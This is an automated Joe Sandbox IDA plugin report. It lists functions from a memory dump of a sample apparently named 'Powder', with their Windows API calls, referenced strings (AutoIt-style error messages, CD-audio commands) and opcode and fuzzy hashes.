Opcode Fuzzy Hash: 3824981cef59710b4a4362d284e7bc04f43912086f30683ecf3c3cee828043f9
Instruction Fuzzy Hash: 68616C71508301AFC701EF54DC89E9FBBE8EF89750F400A2EF595922A1DB709A49DB62

Function 00CE82D5 Relevance: 23.1, APIs: 11, Strings: 2, Instructions: 378timeCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(00000000), ref: 00CE831A
VariantCopy.OLEAUT32(00000000,?), ref: 00CE8323
VariantClear.OLEAUT32(00000000), ref: 00CE832F
VariantTimeToSystemTime.OLEAUT32(?,?,?), ref: 00CE841D
__swprintf.LIBCMT ref: 00CE844D
VarR8FromDec.OLEAUT32(?,?), ref: 00CE8479
VariantInit.OLEAUT32(?), ref: 00CE852A
SysFreeString.OLEAUT32(?), ref: 00CE85BE
VariantClear.OLEAUT32(?), ref: 00CE8618
VariantClear.OLEAUT32(?), ref: 00CE8627
VariantInit.OLEAUT32(00000000), ref: 00CE8665

Strings

%4d%02d%02d%02d%02d%02d, xrefs: 00CE8447
Default, xrefs: 00CE84DA

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: Variant$ClearInit$Time$CopyFreeFromStringSystem__swprintf
String ID: %4d%02d%02d%02d%02d%02d$Default
API String ID: 3730832054-3931177956
Opcode ID: 1f8cc7187af0ceafee0907a1bb150f2d79f72cb3203799727b440a4c84fb314c
Instruction ID: 24de97305ca7be68df16f7d12c9849c757b66c7a42582af4d1da2c7b0917b80d
Opcode Fuzzy Hash: 1f8cc7187af0ceafee0907a1bb150f2d79f72cb3203799727b440a4c84fb314c
Instruction Fuzzy Hash: 0ED1E371604696EBDB209FA3C894B6EB7B4FF05700F248155F419AB290DF70DD48EBA0

Function 00D049CF Relevance: 23.0, APIs: 2, Strings: 11, Instructions: 251windowCOMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 00D04A61
SendMessageW.USER32(?,00001105,00000000,00000000), ref: 00D04AAC

Strings

GETITEMCOUNT, xrefs: 00D04B8E
EXPAND, xrefs: 00D04B5E
UNCHECK, xrefs: 00D04C88
SELECT, xrefs: 00D04C5D
CHECK, xrefs: 00D04ACC
GETTOTALCOUNT, xrefs: 00D04A93
EXISTS, xrefs: 00D04B15
GETSELECTED, xrefs: 00D04BBC
GETTEXT, xrefs: 00D04BFF
ISCHECKED, xrefs: 00D04C2F
COLLAPSE, xrefs: 00D04AF2

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: BuffCharMessageSendUpper
String ID: CHECK$COLLAPSE$EXISTS$EXPAND$GETITEMCOUNT$GETSELECTED$GETTEXT$GETTOTALCOUNT$ISCHECKED$SELECT$UNCHECK
API String ID: 3974292440-4258414348
Opcode ID: a3c68e863af03d028df8eabd991ba20d16c79e11f197179b02f8373f1b8d32c9
Instruction ID: 55d45af9b26640f1a6957f2faf017b73581c02efacc61b3fc7eb1c6e5ab8c288
Opcode Fuzzy Hash: a3c68e863af03d028df8eabd991ba20d16c79e11f197179b02f8373f1b8d32c9
Instruction Fuzzy Hash: 9E9190712047029FCB04EF20C451B6EB7A1AF94358F14885DF99A5B3E2DB30ED49DBA5

Function 00CEE25D Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 185timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 00CEE31F
SystemTimeToFileTime.KERNEL32(?,?), ref: 00CEE32F
LocalFileTimeToFileTime.KERNEL32(?,?), ref: 00CEE33B
__wsplitpath.LIBCMT ref: 00CEE399
_wcscat.LIBCMT ref: 00CEE3B1
_wcscat.LIBCMT ref: 00CEE3C3
GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 00CEE3D8
SetCurrentDirectoryW.KERNEL32(?), ref: 00CEE3EC
SetCurrentDirectoryW.KERNEL32(?), ref: 00CEE41E
SetCurrentDirectoryW.KERNEL32(?), ref: 00CEE43F
_wcscpy.LIBCMT ref: 00CEE44B
SetCurrentDirectoryW.KERNEL32(?,?,?,?,?), ref: 00CEE48A

Strings

*.*, xrefs: 00CEE445

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: CurrentDirectoryTime$File$Local_wcscat$System__wsplitpath_wcscpy
String ID: *.*
API String ID: 3566783562-438819550
Opcode ID: e3731d626e72763e7be74c6761371ef2c5de9e4acc5981b125bd599198346f22
Instruction ID: c702530ae5d1ce627d653968ad510a4a7081ac510e27803a0278fa86e5719608
Opcode Fuzzy Hash: e3731d626e72763e7be74c6761371ef2c5de9e4acc5981b125bd599198346f22
Instruction Fuzzy Hash: 7C618972504346AFCB10EF61C844A9EB3E8FF89314F04891EF999C7251EB35EA45CB96

Function 00CEA27B Relevance: 22.9, APIs: 7, Strings: 6, Instructions: 150COMMON

Download Yara Rule

APIs

LoadStringW.USER32(00000066,?,00000FFF,?), ref: 00CEA2C2

Part of subcall function 00C91A36: _memmove.LIBCMT ref: 00C91A77

LoadStringW.USER32(00000072,?,00000FFF,?), ref: 00CEA2E3
__swprintf.LIBCMT ref: 00CEA33C
__swprintf.LIBCMT ref: 00CEA355
_wprintf.LIBCMT ref: 00CEA3FC
_wprintf.LIBCMT ref: 00CEA41A

Strings

Error: , xrefs: 00CEA3C4
Line %d (File "%s"):, xrefs: 00CEA336, 00CEA34F
"%s" (%d) : ==> %s:, xrefs: 00CEA415
"%s" (%d) : ==> %s:%s%s, xrefs: 00CEA3F7
^ ERROR , xrefs: 00CEA391
Incorrect parameters to object property !, xrefs: 00CEA39E

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: LoadString__swprintf_wprintf$_memmove
String ID: Error: $"%s" (%d) : ==> %s:$"%s" (%d) : ==> %s:%s%s$Incorrect parameters to object property !$Line %d (File "%s"):$^ ERROR
API String ID: 311963372-3080491070
Opcode ID: cd47593b5d7d258363be054d4ea48c01c351f919a809780da0325a3f00eea58a
Instruction ID: 4fd31083d87e8f2173266bc5e759d1b255b050c136664306dcd9843be7fbb521
Opcode Fuzzy Hash: cd47593b5d7d258363be054d4ea48c01c351f919a809780da0325a3f00eea58a
Instruction Fuzzy Hash: C651BF7190024AAFCF14EBE0CD4AEEEB778AF04340F540165F905B20A2EB756F58EB61

Function 00CE0065 Relevance: 22.9, APIs: 8, Strings: 5, Instructions: 138windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,00000FFF,00000000,00000001,00000000,?,00CCF8B8,00000001,0000138C,00000001,00000000,00000001,?,00CF3FF9,00000000), ref: 00CE009A
LoadStringW.USER32(00000000,?,00CCF8B8,00000001), ref: 00CE00A3

Part of subcall function 00C91A36: _memmove.LIBCMT ref: 00C91A77

GetModuleHandleW.KERNEL32(00000000,00D47310,?,00000FFF,?,?,00CCF8B8,00000001,0000138C,00000001,00000000,00000001,?,00CF3FF9,00000000,00000001), ref: 00CE00C5
LoadStringW.USER32(00000000,?,00CCF8B8,00000001), ref: 00CE00C8
__swprintf.LIBCMT ref: 00CE0118
__swprintf.LIBCMT ref: 00CE0129
_wprintf.LIBCMT ref: 00CE01D2
MessageBoxW.USER32(00000000,?,?,00011010), ref: 00CE01E9

Strings

Error: , xrefs: 00CE01A0
Line %d (File "%s"):, xrefs: 00CE0112
^ ERROR, xrefs: 00CE017E
Line %d:, xrefs: 00CE0123
%s (%d) : ==> %s: %s %s, xrefs: 00CE01CD

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: HandleLoadModuleString__swprintf$Message_memmove_wprintf
String ID: Error: $%s (%d) : ==> %s: %s %s$Line %d (File "%s"):$Line %d:$^ ERROR
API String ID: 984253442-2268648507
Opcode ID: 266e9dd31cd6efd32f89ddb5e6bbb573e52ab1a35554b4d95c320d41fd0975c0
Instruction ID: dfdc516285e87484455c28d95df84687d7182ef3797b3ccd515cf5229814a9b3
Opcode Fuzzy Hash: 266e9dd31cd6efd32f89ddb5e6bbb573e52ab1a35554b4d95c320d41fd0975c0
Instruction Fuzzy Hash: DE41707294021AAACF14FBD0CD9BDEE7778AF14340F540155F901B2092DE756F49EBA1

Function 00CEA995 Relevance: 22.9, APIs: 5, Strings: 8, Instructions: 138COMMON

Download Yara Rule

APIs

Part of subcall function 00C84D37: __itow.LIBCMT ref: 00C84D62
Part of subcall function 00C84D37: __swprintf.LIBCMT ref: 00C84DAC

CharLowerBuffW.USER32(?,?), ref: 00CEAA0E
GetDriveTypeW.KERNEL32 ref: 00CEAA5B
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00CEAAA3
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00CEAADA
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00CEAB08

Part of subcall function 00C91821: _memmove.LIBCMT ref: 00C9185B

Strings

set cd door , xrefs: 00CEAAA9
open , xrefs: 00CEAA6A
type cdaudio alias cd wait, xrefs: 00CEAA86
close cd wait, xrefs: 00CEAAF3
closed, xrefs: 00CEAA22, 00CEAA2B
open, xrefs: 00CEAA35
wait, xrefs: 00CEAAC5
close, xrefs: 00CEAA14

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: SendString$BuffCharDriveLowerType__itow__swprintf_memmove
String ID: type cdaudio alias cd wait$ wait$close$close cd wait$closed$open$open $set cd door
API String ID: 2698844021-4113822522
Opcode ID: 9ca9df11473837bda7ba8794379a7662f7d4315ceee7ae5800f11403d3d1c338
Instruction ID: a9a7ab51c06b20a6946cabdad7cb40158c6c4a284ec6d3fce2c1ea1002256146
Opcode Fuzzy Hash: 9ca9df11473837bda7ba8794379a7662f7d4315ceee7ae5800f11403d3d1c338
Instruction Fuzzy Hash: 77517D711043469FC700EF11C88296AB7F5FF98758F14492DF896972A2DB31EE09DB62

Function 00CEA832 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 102fileCOMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32(?,00007FFF,?,?), ref: 00CEA852
__swprintf.LIBCMT ref: 00CEA874
CreateDirectoryW.KERNEL32(?,00000000), ref: 00CEA8B1
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000003,02200000,00000000), ref: 00CEA8D6
_memset.LIBCMT ref: 00CEA8F5
_wcsncpy.LIBCMT ref: 00CEA931
DeviceIoControl.KERNEL32(00000000,000900A4,?,?,00000000,00000000,?,00000000), ref: 00CEA966
CloseHandle.KERNEL32(00000000), ref: 00CEA971
RemoveDirectoryW.KERNEL32(?), ref: 00CEA97A
CloseHandle.KERNEL32(00000000), ref: 00CEA984

Strings

\, xrefs: 00CEA88A
\??\%s, xrefs: 00CEA86E
:, xrefs: 00CEA895

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: CloseCreateDirectoryHandle$ControlDeviceFileFullNamePathRemove__swprintf_memset_wcsncpy
String ID: :$\$\??\%s
API String ID: 2733774712-3457252023
Opcode ID: dc17a1e11246079ddc58b0747d9192842dd5cd332b305fa435d0a7f2b1323208
Instruction ID: 0ebe458726fd6636bbcb82f1156074a529711fb07cf1ead2ead258f2bb190f8e
Opcode Fuzzy Hash: dc17a1e11246079ddc58b0747d9192842dd5cd332b305fa435d0a7f2b1323208
Instruction Fuzzy Hash: 8631C17150025ABBDB209FA1DC48FEB77BCEF89700F1041A6F518D21A0EB74A7858B35

Function 00D0C0A5 Relevance: 22.6, APIs: 15, Instructions: 130filecommemoryCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,80000000,00000000,00000000,00000003,00000000,00000000,00000000,?,?,?,?,?,00D0982C,?,?), ref: 00D0C0C8
GetFileSize.KERNEL32(00000000,00000000,?,?,?,?,00D0982C,?,?,00000000,?), ref: 00D0C0DF
GlobalAlloc.KERNEL32(00000002,00000000,?,?,?,?,00D0982C,?,?,00000000,?), ref: 00D0C0EA
CloseHandle.KERNEL32(00000000,?,?,?,?,00D0982C,?,?,00000000,?), ref: 00D0C0F7
GlobalLock.KERNEL32(00000000), ref: 00D0C100
ReadFile.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,?,?,?,00D0982C,?,?,00000000,?), ref: 00D0C10F
GlobalUnlock.KERNEL32(00000000), ref: 00D0C118
CloseHandle.KERNEL32(00000000,?,?,?,?,00D0982C,?,?,00000000,?), ref: 00D0C11F
CreateStreamOnHGlobal.OLE32(00000000,00000001,?,?,?,?,?,00D0982C,?,?,00000000,?), ref: 00D0C130
OleLoadPicture.OLEAUT32(?,00000000,00000000,00D13C7C,?), ref: 00D0C149
GlobalFree.KERNEL32(00000000), ref: 00D0C159
GetObjectW.GDI32(00000000,00000018,?), ref: 00D0C17D
CopyImage.USER32(00000000,00000000,?,?,00002000), ref: 00D0C1A8
DeleteObject.GDI32(00000000), ref: 00D0C1D0
SendMessageW.USER32(?,00000172,00000000,00000000), ref: 00D0C1E6

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: Global$File$CloseCreateHandleObject$AllocCopyDeleteFreeImageLoadLockMessagePictureReadSendSizeStreamUnlock
String ID:
API String ID: 3840717409-0
Opcode ID: 59b0b503577d4e570eb9f355cc04003aee5757456036a1255dbd8b3d83c02d90
Instruction ID: 0ecfd2ed402c9a50d8bc6be933692c29b7248f7eb53270d035bdd71fd1dc1d0f
Opcode Fuzzy Hash: 59b0b503577d4e570eb9f355cc04003aee5757456036a1255dbd8b3d83c02d90
Instruction Fuzzy Hash: B6414C75540308FFDB119F65DC88EAA7BB8EF89711F148158F909D72A0DB709982DB70

Function 00D0C854 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 229windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00C829E2: GetWindowLongW.USER32(?,000000EB), ref: 00C829F3

PostMessageW.USER32(?,00000111,00000000,00000000), ref: 00D0C8A4
GetFocus.USER32 ref: 00D0C8B4
GetDlgCtrlID.USER32(00000000), ref: 00D0C8BF
_memset.LIBCMT ref: 00D0C9EA
GetMenuItemInfoW.USER32(?,00000000,00000000,?), ref: 00D0CA15
GetMenuItemCount.USER32(?), ref: 00D0CA35
GetMenuItemID.USER32(?,00000000), ref: 00D0CA48
GetMenuItemInfoW.USER32(?,-00000001,00000001,?), ref: 00D0CA7C
GetMenuItemInfoW.USER32(?,?,00000001,?), ref: 00D0CAC4
CheckMenuRadioItem.USER32(?,00000000,?,00000000,00000400), ref: 00D0CAFC
DefDlgProcW.USER32(?,00000111,?,?,?,?,?,?,?), ref: 00D0CB31

Strings

0, xrefs: 00D0C9E2

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: ItemMenu$Info$CheckCountCtrlFocusLongMessagePostProcRadioWindow_memset
String ID: 0
API String ID: 1296962147-4108050209
Opcode ID: c307aafad48f40e2c39350487c550d28350ee4f7ec47f5ba0fd16052a42e75c7
Instruction ID: c9e338da005dd34896e4c10571d33c49fcb474bb2a5685320f2d7ccc9b087bc4
Opcode Fuzzy Hash: c307aafad48f40e2c39350487c550d28350ee4f7ec47f5ba0fd16052a42e75c7
Instruction Fuzzy Hash: AA817A70618305AFD710DF14D885BABBBE8FB88354F145A2EF99993291CB70D905CBB2

Function 00CD8ACA Relevance: 21.2, APIs: 14, Instructions: 179memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00CD8E20: GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 00CD8E3C
Part of subcall function 00CD8E20: GetLastError.KERNEL32(?,00CD8900,?,?,?), ref: 00CD8E46
Part of subcall function 00CD8E20: GetProcessHeap.KERNEL32(00000008,?,?,00CD8900,?,?,?), ref: 00CD8E55
Part of subcall function 00CD8E20: HeapAlloc.KERNEL32(00000000,?,00CD8900,?,?,?), ref: 00CD8E5C
Part of subcall function 00CD8E20: GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 00CD8E73

Part of subcall function 00CD8EBD: GetProcessHeap.KERNEL32(00000008,00CD8916,00000000,00000000,?,00CD8916,?), ref: 00CD8EC9
Part of subcall function 00CD8EBD: HeapAlloc.KERNEL32(00000000,?,00CD8916,?), ref: 00CD8ED0
Part of subcall function 00CD8EBD: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,?,00CD8916,?), ref: 00CD8EE1

GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 00CD8B2E
_memset.LIBCMT ref: 00CD8B43
GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 00CD8B62
GetLengthSid.ADVAPI32(?), ref: 00CD8B73
GetAce.ADVAPI32(?,00000000,?), ref: 00CD8BB0
AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 00CD8BCC
GetLengthSid.ADVAPI32(?), ref: 00CD8BE9
GetProcessHeap.KERNEL32(00000008,-00000008), ref: 00CD8BF8
HeapAlloc.KERNEL32(00000000), ref: 00CD8BFF
GetLengthSid.ADVAPI32(?,00000008,?), ref: 00CD8C20
CopySid.ADVAPI32(00000000), ref: 00CD8C27
AddAce.ADVAPI32(?,00000002,000000FF,00000000,?), ref: 00CD8C58
SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000), ref: 00CD8C7E
SetUserObjectSecurity.USER32(?,00000004,?), ref: 00CD8C92

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: HeapSecurity$AllocDescriptorLengthObjectProcessUser$Dacl$CopyErrorInformationInitializeLast_memset
String ID:
API String ID: 3996160137-0
Opcode ID: 6c8e67b754065e866cd459a669c7a1432f40748975561f9e15dd3eb0aa54e345
Instruction ID: 2851041c82f75673427c4bdca6317830de3710ce778ec8e61bc81b755c22491e
Opcode Fuzzy Hash: 6c8e67b754065e866cd459a669c7a1432f40748975561f9e15dd3eb0aa54e345
Instruction Fuzzy Hash: 9F613875900209FFDF10AFA5DC45AEEBB79BF44300F04816AEA25E6390DB759A49CB60

Function 00CF7A04 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 160windowCOMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 00CF7A79
CreateCompatibleBitmap.GDI32(00000000,00000007,?), ref: 00CF7A85
CreateCompatibleDC.GDI32(?), ref: 00CF7A91
SelectObject.GDI32(00000000,?), ref: 00CF7A9E
StretchBlt.GDI32(00000006,00000000,00000000,00000007,?,?,?,?,00000007,?,00CC0020), ref: 00CF7AF2
GetDIBits.GDI32(00000006,?,00000000,00000000,00000000,00000028,00000000), ref: 00CF7B2E
GetDIBits.GDI32(00000006,?,00000000,?,00000000,00000028,00000000), ref: 00CF7B52
SelectObject.GDI32(00000006,?), ref: 00CF7B5A
DeleteObject.GDI32(?), ref: 00CF7B63
DeleteDC.GDI32(00000006), ref: 00CF7B6A
ReleaseDC.USER32(00000000,?), ref: 00CF7B75

Strings

(, xrefs: 00CF7AFA

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: Object$BitsCompatibleCreateDeleteSelect$BitmapReleaseStretch
String ID: (
API String ID: 2598888154-3887548279
Opcode ID: ef108854fd73f75ea4e443ac11db86958df60be169279609db1905958e992b04
Instruction ID: 30f27187eb1b8eb3ee694e689722432d24022b917143fbe37f5e90b02eb2acf2
Opcode Fuzzy Hash: ef108854fd73f75ea4e443ac11db86958df60be169279609db1905958e992b04
Instruction Fuzzy Hash: 31515771904309EFCB15DFA8CC84EAEBBB9EF48310F14851DFA5AA7310DB71A9418B60

Function 00CEA48D Relevance: 21.2, APIs: 7, Strings: 5, Instructions: 156COMMON

Download Yara Rule

APIs

LoadStringW.USER32(00000066,?,00000FFF,?), ref: 00CEA4D4

Part of subcall function 00C91A36: _memmove.LIBCMT ref: 00C91A77

LoadStringW.USER32(?,?,00000FFF,?), ref: 00CEA4F6
__swprintf.LIBCMT ref: 00CEA54F
__swprintf.LIBCMT ref: 00CEA568
_wprintf.LIBCMT ref: 00CEA61E
_wprintf.LIBCMT ref: 00CEA63C

Strings

Error: , xrefs: 00CEA5E6
Line %d (File "%s"):, xrefs: 00CEA549, 00CEA562
"%s" (%d) : ==> %s:, xrefs: 00CEA637
^ ERROR, xrefs: 00CEA5C0
"%s" (%d) : ==> %s:%s%s, xrefs: 00CEA619

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: LoadString__swprintf_wprintf$_memmove
String ID: Error: $"%s" (%d) : ==> %s:$"%s" (%d) : ==> %s:%s%s$Line %d (File "%s"):$^ ERROR
API String ID: 311963372-2391861430
Opcode ID: c8eb134d0ed6eebee5b85b74b2f6d9843a132c39c18419463529f36f5521864a
Instruction ID: c348b4d5d34863f6ef4d0e7df30d8270363f3eb78bed59a002b0cca0969fb6ca
Opcode Fuzzy Hash: c8eb134d0ed6eebee5b85b74b2f6d9843a132c39c18419463529f36f5521864a
Instruction Fuzzy Hash: 4D51807190025AAFCF14EBE0CD8AEEEB779AF05340F144165F905B21A1EB316F58EB61

Function 00CE9710 Relevance: 19.8, APIs: 13, Instructions: 322fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00CE951A: __time64.LIBCMT ref: 00CE9524

Part of subcall function 00C94A8C: _fseek.LIBCMT ref: 00C94AA4

__wsplitpath.LIBCMT ref: 00CE97EF

Part of subcall function 00CA431E: __wsplitpath_helper.LIBCMT ref: 00CA435E

_wcscpy.LIBCMT ref: 00CE9802
_wcscat.LIBCMT ref: 00CE9815
__wsplitpath.LIBCMT ref: 00CE983A
_wcscat.LIBCMT ref: 00CE9850
_wcscat.LIBCMT ref: 00CE9863

